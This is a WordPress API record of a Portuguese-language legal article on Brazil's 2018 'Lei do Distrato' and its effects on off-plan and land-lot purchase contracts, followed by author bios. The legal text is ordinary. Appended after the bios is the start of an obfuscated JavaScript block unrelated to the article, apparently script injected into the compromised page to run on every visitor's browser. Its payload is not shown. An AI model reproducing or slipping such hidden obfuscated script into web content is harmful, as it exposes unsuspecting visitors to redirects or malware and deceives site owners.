{"id":427,"date":"2019-01-09T13:23:35","date_gmt":"2019-01-09T15:23:35","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/artigo-o-impacto-da-nova-lei-do-distrato-nos-contratos-de-aquisicao-de-imoveis\/"},"modified":"2019-01-09T13:23:35","modified_gmt":"2019-01-09T15:23:35","slug":"artigo-o-impacto-da-nova-lei-do-distrato-nos-contratos-de-aquisicao-de-imoveis","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/artigo-o-impacto-da-nova-lei-do-distrato-nos-contratos-de-aquisicao-de-imoveis\/","title":{"rendered":"Artigo \u2013 O impacto da nova Lei do Distrato nos contratos de aquisi\u00e7\u00e3o de im\u00f3veis*"},"content":{"rendered":"<p style=\"text-align:justify !important\"><em>*Por Carlos E. Elias de Oliveira e Bruno Mattos e Silva<\/em><\/p>\n<p style=\"text-align:justify !important\"><em>**Esta &eacute; uma vers&atilde;o reduzida do artigo. Clique <a href=\"https:\/\/www.conjur.com.br\/dl\/artigo-lei-distrato.pdf\">aqui<\/a> para ler o texto completo.<\/em><\/p>\n<p style=\"text-align:justify !important\">\n&nbsp; &nbsp; &nbsp;No final do ano passado, nasceu a Lei do Distrato (Lei 13.786, de 27 de dezembro de 2018). A lei trata de in&uacute;meros aspectos envolvendo a resolu&ccedil;&atilde;o e a resili&ccedil;&atilde;o de contratos de aliena&ccedil;&atilde;o de im&oacute;veis em regime de incorpora&ccedil;&atilde;o imobili&aacute;ria ou de loteamento.<\/p>\n<p style=\"text-align:justify !important\">&nbsp; &nbsp; &nbsp;O impacto da Lei do Distrato (Lei 13.786\/2018) no cen&aacute;rio jur&iacute;dico dos contratos de aliena&ccedil;&atilde;o de im&oacute;veis &ldquo;na planta&rdquo; (incorpora&ccedil;&atilde;o) e em loteamento pode ser assim resumido:<\/p>\n<p style=\"text-align:justify !important\">&nbsp; &nbsp; &nbsp;&bull; alcance da nova lei: embora o objeto da lei seja a aliena&ccedil;&atilde;o de im&oacute;veis &ldquo;na planta&rdquo;, ela tamb&eacute;m deve ser aplicada, por analogia, para vendas de im&oacute;veis j&aacute; constru&iacute;dos quando o adquirente puder ser considerado consumidor (cap&iacute;tulo 3). Igualmente, malgrado a lei s&oacute; trate de contratos de compra e venda e de seus desdobramentos (promessas e cess&otilde;es), ela tamb&eacute;m deve ser estendida, por analogia, mutatis mutandi, a outras esp&eacute;cies contratuais envolvendo transfer&ecirc;ncia de im&oacute;vel, como o contrato de permuta;<\/p>\n<p style=\"text-align:justify !important\">&nbsp; &nbsp; &nbsp;&bull; diretrizes interpretativas da nova lei: (i) a nova lei se destina a proteger a parte mais vulner&aacute;vel no contrato, o adquirente; e (ii) se a nova lei n&atilde;o afastou explicitamente alguns desses entendimentos jurisprudenciais e se estes eram favor&aacute;veis ao adquirente, o int&eacute;rprete deve consider&aacute;-los como subsistentes;<\/p>\n<p style=\"text-align:justify !important\">&nbsp; &nbsp; &nbsp;&bull; aplicabilidade do CDC: o CDC deve ser aplicado em harmonia com a novalei nos contratos de aquisi&ccedil;&atilde;o de im&oacute;vel &ldquo;na planta&rdquo; firmados por consumidores por meio da t&eacute;cnica do &ldquo;di&aacute;logo das fontes&rdquo;;<\/p>\n<p style=\"text-align:justify !important\">&nbsp; &nbsp; &nbsp;&bull; irretroatividade da nova lei: a nova lei s&oacute; se aplica a contratos firmados posteriormente &agrave; sua vig&ecirc;ncia. Para contratos anteriores, &eacute; l&iacute;cito que a jurisprud&ecirc;ncia &mdash; com ast&uacute;cia &mdash; mude seu entendimento com base nas regras e princ&iacute;pios anteriores &agrave; nova lei, de modo a obter o mesmo resultado pr&aacute;tico da nova lei. Todavia, nesse caso, os tribunais dever&atilde;o modular os efeitos do novo entendimento para recair apenas para a&ccedil;&otilde;es judiciais propostas ap&oacute;s a muta&ccedil;&atilde;o jurisprudencial;<\/p>\n<p style=\"text-align:justify !important\">&nbsp; &nbsp; &nbsp;&bull; quadro-resumo e anu&ecirc;ncia espec&iacute;fica: embora os efeitos jur&iacute;dicos da falta de informa&ccedil;&otilde;es no quadro-resumo de que tratam o artigo 35-A da Lei 4.591\/64 e o artigo 26-A da Lei 6.766\/76 sejam cosm&eacute;ticos, a aus&ecirc;ncia de anu&ecirc;ncia espec&iacute;fica junto &agrave; cl&aacute;usula relativa ao desfazimento contratual acarreta nulidade dessa cl&aacute;usula;<\/p>\n<p style=\"text-align:justify !important\">&nbsp; &nbsp; &nbsp;&bull; resili&ccedil;&atilde;o unilateral: a resili&ccedil;&atilde;o unilateral &mdash; que &eacute; imotivada &mdash; continua plenamente admiss&iacute;vel, pois a nova Lei n&atilde;o promoveu altera&ccedil;&atilde;o alguma a esse respeito;<\/p>\n<p style=\"text-align:justify !important\">&nbsp; &nbsp; &nbsp;&bull; direito de arrependimento (artigos 67-A, par&aacute;grafos 10 e 11, Lei 4.591\/64): (i) pode ser aplicado por analogia aos casos de loteamento; (ii) admite manifesta&ccedil;&atilde;o por qualquer meio de comunica&ccedil;&atilde;o que garanta ci&ecirc;ncia do incorporador e que tenha sido disponibilizado por este aos clientes, independentemente de pacto expresso; (iii) &eacute; devido mesmo para casos de aliena&ccedil;&otilde;es feitas dentro da sede do incorporador, desde que o adquirente seja consumidor;<\/p>\n<p style=\"text-align:justify !important\">&nbsp; &nbsp; &nbsp;&bull; valor de frui&ccedil;&atilde;o do im&oacute;vel e do valor pago &agrave; alienante: assim como o adquirente tem de pagar o valor de frui&ccedil;&atilde;o do im&oacute;vel (artigo 67-A, par&aacute;grafo 2&ordm;, III, Lei 4.591\/64; e artigo 32-A, I, Lei 6.766\/76), tamb&eacute;m o alienante precisa pagar o valor de frui&ccedil;&atilde;o do dinheiro j&aacute; pago, pois o fundamento jur&iacute;dico em ambos os casos &eacute; a veda&ccedil;&atilde;o ao enriquecimento sem causa;<\/p>\n<p style=\"text-align:justify !important\">&nbsp; &nbsp; &nbsp;&bull; risco m&aacute;ximo do adquirente: excluindo os valores de frui&ccedil;&atilde;o do im&oacute;vel, inexiste o risco de o consumidor que, por um motivo qualquer, n&atilde;o tenha conseguido honrar as presta&ccedil;&otilde;es ficar endividado al&eacute;m do valor total que desembolsou (artigo 67-A, par&aacute;grafo 4&ordm;, da Lei 4.591\/64);<\/p>\n<p style=\"text-align:justify !important\">&nbsp; &nbsp; &nbsp;&bull; direito de cess&atilde;o do contrato para evitar a multa compensat&oacute;ria (artigo 67-A, par&aacute;grafo 9&ordm;, da Lei 4.591\/64): o adquirente tem direito a ceder sua posi&ccedil;&atilde;o contratual a terceiro com idoneidade financeira a fim de evitar a multa compensat&oacute;ria, e o alienante s&oacute; poder&aacute; se recusar a tanto se comprovar inidoneidade financeira do terceiro. Esse direito aplica-se tanto para casos de incorpora&ccedil;&atilde;o quanto para de loteamento;<\/p>\n<p style=\"text-align:justify !important\">&nbsp; &nbsp; &nbsp;&bull; multa morat&oacute;ria pelo atraso no pagamento das presta&ccedil;&otilde;es pelo adquirente: a nova lei nada mudou. Segue a multa morat&oacute;ria no patamar pactuado pelas partes, limitado, por&eacute;m, a 2% caso o adquirente seja consumidor (artigo 52, par&aacute;grafo 1&ordm;, do CDC);<\/p>\n<p style=\"text-align:justify !important\">&nbsp; &nbsp; &nbsp;&bull; cumula&ccedil;&atilde;o da multa morat&oacute;ria pelo atraso da incorporadora com outras indeniza&ccedil;&otilde;es: no caso de atraso na entrega do im&oacute;vel, o incorporador tem de pagar multa morat&oacute;ria de 1% do valor pago pelo adquirente (artigo 43-A, par&aacute;grafo 2&ordm;, da Lei 4.591\/64), sem preju&iacute;zo do direito de este cobrar integralmente indeniza&ccedil;&atilde;o por lucros cessantes (pela indisponibilidade do im&oacute;vel), por outros danos materiais comprovados e por danos morais eventualmente existente. A nova lei n&atilde;o alterou jurisprud&ecirc;ncia anterior, que seguia esse caminho;<\/p>\n<p style=\"text-align:justify !important\">&nbsp; &nbsp; &nbsp;&bull; multa morat&oacute;ria no caso de caso de atraso do loteador em terminar as obras de infraestrutura: a nova lei &eacute; silente sobre o tema. Temos que a multa morat&oacute;ria e outros encargos morat&oacute;rios s&atilde;o devidos, mas a base de c&aacute;lculo deles deve ser proporcional &agrave; express&atilde;o econ&ocirc;mica que as obras de infraestrutura possuem no pre&ccedil;o do lote;<\/p>\n<p style=\"text-align:justify !important\">&nbsp; &nbsp; &nbsp;&bull; exig&ecirc;ncia de situa&ccedil;&atilde;o de adimpl&ecirc;ncia do adquirente para recebimento da multa morat&oacute;ria (artigo 43-A, par&aacute;grafo 2&ordm;, da Lei 4.591\/64): o adquirente inadimplente s&oacute; n&atilde;o ter&aacute; direito &agrave; multa morat&oacute;ria pelo atraso na entrega do im&oacute;vel se o incorporador j&aacute; tiver conclu&iacute;do a constru&ccedil;&atilde;o e estiver retendo a entrega das chaves do im&oacute;vel como exerc&iacute;cio leg&iacute;timo da exceptio non adimpleti contractus. Todavia, se o incorporador tiver atrasado a pr&oacute;pria conclus&atilde;o da constru&ccedil;&atilde;o, ele ter&aacute; de pagar a multa morat&oacute;ria ainda que o adquirente esteja inadimplente, pois a inadimpl&ecirc;ncia deste &uacute;ltimo passa a ser justificada como exerc&iacute;cio da exceptio non adimpleti contractus;<\/p>\n<p style=\"text-align:justify !important\">&nbsp; &nbsp; &nbsp;&bull; invers&atilde;o de multa compensat&oacute;ria e morat&oacute;ria: &eacute; cab&iacute;vel a invers&atilde;o da multa compensat&oacute;ria contra o incorporador, se o adquirente for consumidor. N&atilde;o &eacute; devida, por&eacute;m, a invers&atilde;o da multa morat&oacute;ria, pois h&aacute; norma expressa estipulando o percentual dela em desfavor do incorporador. A nova lei n&atilde;o censurou a invers&atilde;o de cl&aacute;usula penal, a qual era admitida pela jurisprud&ecirc;ncia anterior;<\/p>\n<p style=\"text-align:justify !important\">&nbsp; &nbsp; &nbsp;&bull; excludente de responsabilidade da incorporadora por atraso na obra: a melhor interpreta&ccedil;&atilde;o do par&aacute;grafo 1&ordm; do artigo 43-A da Lei 4.591\/64 &eacute; no sentido de que o pagamento, em mora, de presta&ccedil;&otilde;es pelo adquirente n&atilde;o impede que este, havendo atraso na conclus&atilde;o das obras, promova a resolu&ccedil;&atilde;o do contrato, pois o causador da extin&ccedil;&atilde;o do contrato &eacute; exclusivamente o incorporador. O adquirente, todavia, poder&aacute; ser considerado como causador do atraso da constru&ccedil;&atilde;o se tiver praticado algum ato doloso tendente a obstruir o andamento da obra (ex.: um ataque terrorista) ou se, n&atilde;o sendo consumidor, houver cl&aacute;usula contratual que transfira ao adquirente que paga, com mora, as presta&ccedil;&otilde;es a responsabilidade pelo atraso da constru&ccedil;&atilde;o;<\/p>\n<p style=\"text-align:justify !important\">&nbsp; &nbsp; &nbsp;&bull; inviabilidade de cumula&ccedil;&atilde;o de multa morat&oacute;ria com multa compensat&oacute;ria: o par&aacute;grafo 3&ordm; do artigo 43-A da Lei 4.591\/64, ao vedar a cumula&ccedil;&atilde;o da multa compensat&oacute;ria com a morat&oacute;ria, &eacute; inconstitucional por ofensa ao direito adquirido. Essa proibi&ccedil;&atilde;o de cumula&ccedil;&atilde;o poderia ser pactuada no contrato apenas se o adquirente n&atilde;o fosse consumidor, pois, em o sendo, a cl&aacute;usula seria nula por ser abusiva &agrave; luz do artigo 51 do CDC. De qualquer sorte, supondo-se, por ep&iacute;trope, inexistir ofensa ao direito adquirido, para evitar uma inconstitucionalidade por ofensa ao princ&iacute;pio da isonomia, o par&aacute;grafo 3&ordm; do artigo 43-A deve ser interpretado em conjunto com o artigo 67-A da Lei 4.591\/64, de modo que a veda&ccedil;&atilde;o de cumula&ccedil;&atilde;o de multa morat&oacute;ria com multa compensat&oacute;ria deve ser aplicada tanto contra o adquirente quanto contra o incorporador;<\/p>\n<p style=\"text-align:justify !important\">&nbsp; &nbsp; &nbsp;&bull; atecnia do termo &ldquo;distrato&rdquo;: O termo &ldquo;distrato&rdquo; &eacute; utilizado de modo at&eacute;cnico ao longo do texto da nova lei, ora se referindo &agrave; resili&ccedil;&atilde;o unilateral, ora a um mero contrato de confiss&atilde;o ou de renegocia&ccedil;&atilde;o de d&iacute;vida oriunda de uma resolu&ccedil;&atilde;o contratual;<\/p>\n<p style=\"text-align:justify !important\">&nbsp; &nbsp; &nbsp;&bull; limites de negociabilidade no contrato de confiss&atilde;o e renegocia&ccedil;&atilde;o de d&iacute;vida (&ldquo;distrato&rdquo;, no linguajar at&eacute;cnico da nova lei): &agrave; luz do par&aacute;grafo 13 do artigo 67-A da Lei 4.591\/64, o termo &ldquo;distrato&rdquo; empregado nesse dispositivo refere-se, na verdade, a um contrato de confiss&atilde;o e de renegocia&ccedil;&atilde;o de d&iacute;vida e, por se destinar a prevenir judicializa&ccedil;&otilde;es, deve assegurar a mais plena liberdade negocial entre as partes, com possibilidade de redu&ccedil;&atilde;o de direitos tanto do adquirente quanto do alienante;<\/p>\n<p style=\"text-align:justify !important\">&nbsp; &nbsp; &nbsp;&bull; prazo para devolu&ccedil;&atilde;o do valor devido ao adquirente na resolu&ccedil;&atilde;o contratual por culpa deste: o valor residual a ser restitu&iacute;do adquirente dever&aacute; ser pago no prazo estabelecido nos par&aacute;grafos 5&ordm; e 6&ordm; do artigo 67-A da Lei 4.591\/64 e no artigo 32-A, par&aacute;grafo 1&ordm;, da Lei 6.766\/76, mas, durante esse per&iacute;odo, esse valor dever&aacute; ser acrescido com: (i) corre&ccedil;&atilde;o monet&aacute;ria para mera preserva&ccedil;&atilde;o do valor real da moeda por ordem expressa do par&aacute;grafo 8&ordm; do artigo 67-A da Lei 4.591\/64 (que tem de se aplicar por analogia para o regime de loteamento); e (ii) um valor de frui&ccedil;&atilde;o do dinheiro para evitar o enriquecimento sem causa, valor esse que dever&aacute; corresponder a uma taxa razo&aacute;vel de juros remunerat&oacute;rios, a qual, ao nosso sentir, deve ser o teto estabelecido no artigo 591 do CC. Ap&oacute;s o vencimento, somente incidir&atilde;o sobre o valor residual os encargos morat&oacute;rios do artigos 389 e 395 do CC, como corre&ccedil;&atilde;o monet&aacute;ria, juros morat&oacute;rios etc.;<\/p>\n<p style=\"text-align:justify !important\">&nbsp; &nbsp; &nbsp;&bull; prazo para devolu&ccedil;&atilde;o do valor devido ao adquirente no caso de resolu&ccedil;&atilde;o por culpa deste quando houver patrim&ocirc;nio de afeta&ccedil;&atilde;o: o par&aacute;grafo 5&ordm; do artigo 67-A da Lei 4.591\/64 deve ser entendido no sentido de que o prazo de 30 dias para a devolu&ccedil;&atilde;o do valor residual ao adquirente no caso de resolu&ccedil;&atilde;o contratual por culpa deste quando houver patrim&ocirc;nio de afeta&ccedil;&atilde;o &eacute; a data do habite-se ou a data contratual final para a entrega do im&oacute;vel (com inclus&atilde;o do prazo de suspiro do artigo 43-A), o que ocorrer em primeiro lugar;<\/p>\n<p style=\"text-align:justify !important\">&nbsp; &nbsp; &nbsp;&bull; prazo para devolu&ccedil;&atilde;o do valor devido ao adquirente no caso de resolu&ccedil;&atilde;o por culpa do incorporador: a devolu&ccedil;&atilde;o dever&aacute; ocorrer no prazo de 60 dias da data da resolu&ccedil;&atilde;o, mas, durante esse per&iacute;odo, o incorporador dever&aacute; pagar um valor de frui&ccedil;&atilde;o correspondente &agrave; taxa de juros remunerat&oacute;rios m&aacute;xima do artigo 591 do CC. Se adquirente for consumidor, &eacute; nula cl&aacute;usula que afaste esse dever por for&ccedil;a do artigo 51 do CDC;<\/p>\n<p style=\"text-align:justify !important\">&nbsp; &nbsp; &nbsp;&bull; financiamento direto com o incorporador para pagamento do saldo devedor no momento da entrega das chaves: no caso de &ldquo;financiamento direto&rdquo; com o incorporador para pagamento do saldo devedor devido no momento da entrega das chaves, o par&aacute;grafo 14 do artigo 67-A da Lei 4.591\/64 somente se aplica para regras procedimentais e para o prazo de vencimento do valor residual a ser restitu&iacute;do ao adquirente, de modo que o c&aacute;lculo da d&iacute;vida a ser cobrada pelo alienante dever&aacute; ser o somat&oacute;rio das rubricas previstas nos incisos I e II do caput do artigo 67-A e nos incisos I a IV do par&aacute;grafo 2&ordm; do artigo 67-A, deduzido o que j&aacute; foi amortizado. Ademais, nesse caso de financiamento direto com o incorporador, se o adquirente for consumidor, &eacute; nula cl&aacute;usula contratual que estipule o c&aacute;lculo da d&iacute;vida a ser cobrada pelo alienante de modo diverso;<\/p>\n<p style=\"text-align:justify !important\">&nbsp; &nbsp; &nbsp;&bull; venda de lotes por compra e venda com aliena&ccedil;&atilde;o fiduci&aacute;ria em garantia: a Lei 9.514\/97 aplica-se apenas em quest&otilde;es procedimentais e na defini&ccedil;&atilde;o do prazo de devolu&ccedil;&atilde;o, e n&atilde;o para o c&aacute;lculo da d&iacute;vida a ser cobrada pelo loteador. &Eacute; nula cl&aacute;usula contrato em contr&aacute;rio se o adquirente for consumidor;<\/p>\n<p style=\"text-align:justify !important\">&nbsp; &nbsp; &nbsp;&bull; reten&ccedil;&atilde;o do valor de contribui&ccedil;&atilde;o a associa&ccedil;&atilde;o de moradores: o alienante s&oacute; poder&aacute; reter o valor das contribui&ccedil;&otilde;es devidas a associa&ccedil;&otilde;es de moradores se o adquirente era voluntariamente associado.<\/p>\n<p style=\"text-align:justify !important\">&nbsp;<\/p>\n<p style=\"text-align:justify !important\"><em>Carlos E. Elias de Oliveira &eacute; advogado, professor de Direito Civil e de Direito Notarial e de Registro, consultor legislativo do Senado Federal em Direito Civil, Processo Civil e Direito Agr&aacute;rio e doutorando, mestre e bacharel em Direito pela Universidade de Bras&iacute;lia. Ex-membro da AGU e ex-assessor de ministro STJ.<\/em><\/p>\n<p style=\"text-align:justify !important\"><em>Bruno Mattos e Silva &eacute; advogado, professor de Direito Comercial, consultor legislativo do Senado Federal, mestre em Direito e Finan&ccedil;as pela Universidade de Frankfurt (Alemanha) e bacharel em Direito pela USP. Foi procurador federal da Comiss&atilde;o de Valores Mobili&aacute;rios (CVM), procurador-chefe do INSS nos tribunais superiores e assessor especial do ministro do Desenvolvimento Social e Combate &agrave; Fome.<\/em><\/p>\n<p style=\"text-align:justify !important\">&nbsp;<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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